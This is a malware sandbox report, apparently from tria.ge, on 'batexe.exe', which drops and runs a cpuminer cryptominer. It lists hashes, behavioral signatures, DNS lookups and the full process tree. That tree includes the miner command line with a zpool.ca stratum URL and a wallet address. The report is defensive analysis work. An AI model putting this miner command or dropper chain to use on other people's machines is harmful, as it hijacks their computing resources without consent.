Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
293s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
18/02/2024, 03:15 UTC
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 1524 b2e.exe 3992 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3992 cpuminer-sse2.exe 3992 cpuminer-sse2.exe 3992 cpuminer-sse2.exe 3992 cpuminer-sse2.exe 3992 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/3940-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3940 wrote to memory of 1524 3940 batexe.exe 84 PID 3940 wrote to memory of 1524 3940 batexe.exe 84 PID 3940 wrote to memory of 1524 3940 batexe.exe 84 PID 1524 wrote to memory of 460 1524 b2e.exe 85 PID 1524 wrote to memory of 460 1524 b2e.exe 85 PID 1524 wrote to memory of 460 1524 b2e.exe 85 PID 460 wrote to memory of 3992 460 cmd.exe 88 PID 460 wrote to memory of 3992 460 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Users\Admin\AppData\Local\Temp\5EAA.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5EAA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EAA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\612B.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:460 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3992
-
-
-
Network
-
Remote address:8.8.8.8:53Request104.219.191.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestyespower.sea.mine.zpool.caIN AResponseyespower.sea.mine.zpool.caIN A198.50.168.213
-
Remote address:8.8.8.8:53Request173.178.17.96.in-addr.arpaIN PTRResponse173.178.17.96.in-addr.arpaIN PTRa96-17-178-173deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request213.168.50.198.in-addr.arpaIN PTRResponse213.168.50.198.in-addr.arpaIN PTRminezpoolca
-
Remote address:8.8.8.8:53Request140.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request196.249.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request183.59.114.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request232.168.11.51.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request18.134.221.88.in-addr.arpaIN PTRResponse18.134.221.88.in-addr.arpaIN PTRa88-221-134-18deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request97.17.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request48.229.111.52.in-addr.arpaIN PTRResponse
-
8.0kB 10.0kB 83 87
-
-
-
73 B 147 B 1 1
DNS Request
104.219.191.52.in-addr.arpa
-
72 B 88 B 1 1
DNS Request
yespower.sea.mine.zpool.ca
DNS Response
198.50.168.213
-
72 B 137 B 1 1
DNS Request
173.178.17.96.in-addr.arpa
-
73 B 100 B 1 1
DNS Request
213.168.50.198.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
140.32.126.40.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
196.249.167.52.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
183.59.114.20.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
18.31.95.13.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
232.168.11.51.in-addr.arpa
-
72 B 137 B 1 1
DNS Request
18.134.221.88.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
97.17.167.52.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
48.229.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6.4MB
MD572ae3e68e8ba43b8488a081887857984
SHA123102d6ffa7b28029ec3e97b7314b7d7d047106f
SHA256325f467bbc3c7e5ae7e2c7787e84d43d810000f10db04e63ce1508a43aac487a
SHA512a8bf53b96e1fd1d8719b273d76c995d4835ff467d62d50ab9ab742861b22547672c576fe962b72384657d5446e06e2f8e25eb019b3d2f0332011a083a22448aa
-
Filesize
3.8MB
MD58782954c8b6aac082ecc8b96cb0fa380
SHA12fe2dfb712df083d04ef662151f7a323078cdbaf
SHA256472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b
SHA512d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31
-
Filesize
2.5MB
MD5947129ec280e429b5b75281b107e8339
SHA1083b132d1e90fb2c37b514ada80142b528d22042
SHA256c4434a9fe22c7aff841dd455240bb9610ec25ef602ab6dcb5575fb0e41b73b38
SHA512b5306f49c5453fcd48a8f24e8089bf4bde7f9efa2393eeebef6a7fc15ef46bbb1c02ff89e2d03fa5d7d4dd4dba75a81accd43bb88722ebef0dd6b7cf410c377c
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
800KB
MD59fc6b46646f81652e3d45ff351739a4b
SHA1bfda287efe0b0506d42b0992930f36a93fba3462
SHA256598d487361d3a6a1dca3cd7e7b19b764c869b491872a3095bfc8e42049abe905
SHA51257e6a8bba09d0e7fbcde7612d3d309bce6f05904f12d253b539525652fea77ae36a8c4acf0410aee753da3c440b7dbe86034747ff78c60325df75b363229f2c9
-
Filesize
1.1MB
MD59620a8007b0a165acb4ec822daf51045
SHA165b469a474aead7580ff4a77e656258a984211e5
SHA2567756ecccbae0b91be1aa543aefa60da5e39b37d05ee713f7962ff79a5d292d78
SHA51263805798d75a97567675d0d10c21a26f0e7fbb7802716747b2e40ec22761a4937958b386facab206df9b0ae5e49f2fb5d18e2d670002439dcf9462624b42494d
-
Filesize
689KB
MD56012fcc3a2e44755257ced0ed5272ecb
SHA1126e0b0c06424b80f885c93320478976e57849a3
SHA256cf8763a7d75b13fed2ce8e4ac80d3df826891a8e0edc31278706705269d1e510
SHA512be4d8975e502b148e520715e61dedc2040170b04ef2b014acce9facd492c1f8ce6edc355718ad00ece0cbfcb15a39d800ac8dd987653362bd838ec43a22e23d1
-
Filesize
772KB
MD55ba943b817e5713cced73f800922b2c9
SHA1ee7598813bdff96069287bb2cacb85377703669f
SHA256d036094049444bd03671830cd1796103a3f99488cca723eda0371ef8b6288a72
SHA512f69ce01049d7cbad4fdba0b053aeae357e364d4bec27810239544a58165df5e09097b727399be62cd04ed0fbe4a1c18fee1d759615a5d915d39c250a5e025252
-
Filesize
781KB
MD5853359ba3347de6f00aa1ca80ffe15db
SHA1c3eed153107d96e69a1c184d1e7ea3517cd448ea
SHA256dbf71da94a058ae7b2c678a3b30f0f62fd38cd78f4eff604c4695913e9c7c1de
SHA512e202de3482c059add6616de4e68a1c2e768e3f56d1c041fe623c545a1f29f02262bca37e97d6bd7d65a66850a942f79a7e37dfd3f466ecf249e010d3c55a8519
-
Filesize
797KB
MD58f03fbf42f222b7379160d2e4f1aaba8
SHA18c49ab59fadb6519cf5810613e41a5c852919910
SHA2568440757eaa53676caacca4b68d094f3d71b58f4f2711d604c5b08f8d3fe95412
SHA512af04c223854533c13ffe7395544909b85881c55cf04b3414d517a86328cb8f6ef2a1a3b6e4c72700dc9d9813e7744dc03828316be14214fd6d9b2bcdadff4d8e
-
Filesize
1014KB
MD545ed9f9d57250310dada18199ea49105
SHA13392e8e09cc9dfe75288b3f4354524dbabdecc02
SHA2569b580546d877025906851aa66582baf04861aeb77ee07e9cb6ddad02eb1665f9
SHA51260fc253d7587785b0b8b3c17b39d6022945283f3ee8271dfa02978ec88166c8094efaa371bc16eb957bb80243c531224f272297972db5ab4be8d4eef0c58303c
-
Filesize
923KB
MD57d26e8055558e5a4acf9e1c119cde699
SHA141cfb905e5f0f832d0411f24d3443025e910c41d
SHA2568cde9b6c3a4596c834a3b9f0d88ba0298a2529a8171922b83eab91ef033cd688
SHA512ce234cbe10a10198db1b44d0fa28de08d33ef3c49924a1b8f5e6d9832a47634e6bd29f7f01303b5f0d3d87ea5a3bf0bd036edf4aa2d72ae20d19e63413d849f7
-
Filesize
921KB
MD5c104d93a26db1ad73faf31c9271b1efa
SHA1a25bfbfcb2e3a7625d578f6f44f6baa93f9f9636
SHA2566beaa446d7a389677a5628c455fa2e4996dd8634dc3c33d22e75ddc90c7bc6b3
SHA512fb9e3ba276d5c1e0cb07d214a0c5f7c364724fad3790cbb0b59843bae83891d67656eef692e17b322bacf5201963f2b6e73b3712ba0db700679ca475f553d1f3
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770